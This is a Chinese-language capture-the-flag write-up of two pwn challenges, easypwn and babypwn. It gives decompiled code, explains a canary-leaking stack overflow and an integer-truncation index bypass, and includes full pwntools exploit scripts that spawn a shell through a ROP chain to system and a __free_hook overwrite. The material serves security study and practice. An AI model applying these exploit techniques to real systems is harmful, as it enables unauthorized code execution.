ISG 2021 “观安杯” Pwn类型题目WriteUp

easypwn

main函数,有三个自实现函数easyprintf和easyinput还有easymemset。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsi
char buf[256]; // [rsp+0h] [rbp-110h]
char choice; // [rsp+10Bh] [rbp-5h]
int i; // [rsp+10Ch] [rbp-4h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
easyprintf("Welcome to my easy pwn!\n", 0LL);
easyprintf("First,I will give you a little gift!\n", 0LL);
easyprintf("But it may make no sense!\n", 0LL);
easyprintf("Do you want it?(y or n)\n", 0LL);
v3 = (void *)2;
easyinput(&choice, 2LL);
if ( choice == 'y' || choice == 'Y' )
{
v3 = &easyinput;
easyprintf("the gift is %p\n", &easyinput);
}
easyprintf("Now you have two times to getshell!\n", v3);
easymemset(buf, 0LL, 256LL); // buf的大小为0x100
for ( i = 0; i <= 1; ++i )
easyinput(buf, 0x100LL);
return 0;
}

可以看到输入 Y/y 的话会打印出easyinput的地址,然后打开libeasy.so来看一下这三个函数的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall easyinput(void *a1, int a2)
{
unsigned int v2; // ST1C_4
char s[104]; // [rsp+20h] [rbp-70h]
unsigned __int64 v5; // [rsp+88h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(s, 0, 100uLL); // 实际传入的最大size为0x100,存在溢出
v2 = read(0, s, a2);
memcpy(a1, s, a2);
s[v2 - 1] = 0;
printf("Your input: %s", a1);
return v2;
}

可以看到easyinput是存在溢出的,继续看下其他函数

1
2
3
4
5
void *__fastcall easymemset(void *a1, int a2, size_t a3)
{
memset(a1, a2, a3);
return a1;
}

easymemset函数没有异常,只是调用了memset。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 easyprintf(const char *a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)
{
__int64 result; // rax
__va_list_tag arg[1]; // [rsp+20h] [rbp-D0h]
unsigned __int64 v8; // [rsp+38h] [rbp-B8h]
__int64 v9; // [rsp+48h] [rbp-A8h]
__int64 v10; // [rsp+50h] [rbp-A0h]
__int64 v11; // [rsp+58h] [rbp-98h]
__int64 v12; // [rsp+60h] [rbp-90h]
__int64 v13; // [rsp+68h] [rbp-88h]

v9 = a2;
v10 = a3;
v11 = a4;
v12 = a5;
v13 = a6;
v8 = __readfsqword(0x28u);
if ( (unsigned __int64)a1 <= 0x401000 )
{
arg[0].gp_offset = 8;
va_start(arg, a6);
result = (unsigned int)vfprintf(stdout, a1, arg);
}
else
{
puts("You are bad!");
result = 0LL;
}
return result;
}

easyprintf好像也没什么异常,main函数里只调用了两次,参数并不可控,看来问题就在在easyinput的溢出点,回过头来看下面几行关键代码

1
2
3
4
v2 = read(0, s, a2);
memcpy(a1, s, a2);
s[v2 - 1] = 0;
printf("Your input: %s", a1);

程序会先将我们输入的数据copy到a1中,长度为a2(0x100)。

然后将s的最后一位置0,接着输出a1(到这里我意识到,置0的是s输出的是a1,copy完之后对他们两个的操作是没有影响的)

想到了可以通过覆盖canary最低位的方法:

  • 输入105个字符覆盖到canary的最低位
  • memcpy将输入+canary 复制到a1
  • 输入最后一位置0(还原canary)
  • 输出input+canary
  • ROP

第一次做漏洞点在.so里的题目,觉得还挺有意思。因为涉及到程序和库两个bin文件,IDA来回切换比较麻烦,所以就有了本文,也是分析+构造exp完整过程XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
from pwn import *
# context.log_level='debug'

p = process('./easypwn')
elf = ELF('./easypwn')
libeasy = ELF('./libeasy.so')
libc = elf.libc

pop_rdi_ret = 0x0000000000400903
ret = 0x000000000040061e

p.recvuntil('n)\n')
p.sendline('y')

p.recvuntil('gift is ')
libeasy.address = int(p.recvuntil('\n',drop=True),16)-libeasy.sym['easyinput']
print 'libeasy:',hex(libeasy.address)

libc.address = libeasy.address-0x203000
print 'libc:',hex(libc.address)

p.recvuntil('shell!\n')
p.send('A'*105)
p.recvuntil('A'*104)
canary = u64(p.recv(8))-0x41
print 'canary:',hex(canary)

# gdb.attach(p)
# payload = 'A'*104
payload = p64(ret)
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(libc.search('/bin/sh').next())
payload += p64(libc.sym['system'])
payload += 'A'*(104-len(payload))
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(ret)
# payload += p64(libc.search('/bin/sh').next())
# payload += p64(libc.sym['system'])
sleep(1)
p.send(payload)

p.interactive()

babypwn

这个题完全是被lime带飞了!

libc版本为2.31,可以先将chunk放到unsortedbin 然后再申请一个比较小的chunk,利用残留指针泄漏

给了个后门函数,在全局指针的下方可以写数据,但是只能操作一次

edit一次,本题关键点就在edit,👇看看edit的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __usercall edit@<rax>(__int64 a1@<rbp>)
{
signed int v2; // [rsp-18h] [rbp-18h] // int 不是int64!!
unsigned __int64 v3; // [rsp-10h] [rbp-10h]
__int64 v4; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v4 = a1;
v3 = __readfsqword(0x28u);
if ( edit_bit > 0 )
{
--edit_bit;
puts("message index:");
__isoc99_scanf("%ld", &v2);
if ( v2 >= 0 && *(_QWORD *)&v2 <= 31LL ) // 对v2进行了类型转换
{
puts("new content:");
read_n(*(void **)(chunk_ptr[*(_QWORD *)&v2] + 8LL), *(_DWORD *)chunk_ptr[*(_QWORD *)&v2]);
puts("finish!");
}
else
{
puts("error index!");
}
}
return __readfsqword(0x28u) ^ v3;
}

可以看到在判断的时候是有两个判断条件的:

  1. v2是否大于等于0
  2. 类型转换后的v2是否小于31

最后利用了-0x7fffffffffffffe0来绕过这个if语句,首先这个值在内存里是-32,但是v2是4 byte长度,这样就产生了截断,低四位值为32,条件1成立。其次在第二次比较时进行了类型转换长度变为8 byte,没有产生截断,依旧为-32满足小于31,故条件2成立,绕过if。

利用步骤是:

  • 泄漏出heap地址和libc地址
  • 写后门,将32的位置指向一个可控堆(内容为__free_hook地址)
  • 调用edit将__free_hook值修改为system
  • 调用free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python
#coding:utf-8

from pwn import *
context.log_level='debug'

if args.Q:
io=remote()
else:
io=process("./babypwn")
libc=ELF("./libc.so")
sla=lambda a,b : io.sendlineafter(a,b)
sa =lambda a,b : io.sendafter(a,b)
def choice(c):
sla("exit\n",str(c))
def add(sz,ct="a"):
choice(1)
sla("size:\n",str(sz))
sa("content:\n",ct)

def show(idx):
choice(2)
sla("index:\n",str(idx))
def dele(idx):
choice(3)
sla("index:\n",str(idx))

def edit(idx,ct):
choice(4)
sla("index:\n",str(idx))
sa("content:\n",ct)

def back(name):
choice(5)
sla("name:\n",name)

def main():
for i in range(8):
add(0x90)
for i in range(7):
dele(i+1)
dele(0)
for i in range(7):
add(0x90)

add(0x40)
show(7)
leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x1ebc61
log.success("leak==>"+hex(leak))
free_hook=leak+libc.sym["__free_hook"]
system=leak+libc.sym["system"]

show(2)
io.recvuntil("ssage :\x0a")
heap=u64(io.recv(6).ljust(8,'\x00'))-0x561
log.success("heap==>"+hex(heap))

add(0x40,p64(0x10)+p64(free_hook))#8
back(p64(heap+0x8a0))
gdb.attach(io,"b *0x555555554000+0x16f7")
edit(-0x7fffffffffffffe0,p64(system))
add(0x40,"/bin/sh\x00")
dele(9)
io.interactive()
if __name__=="__main__":
main()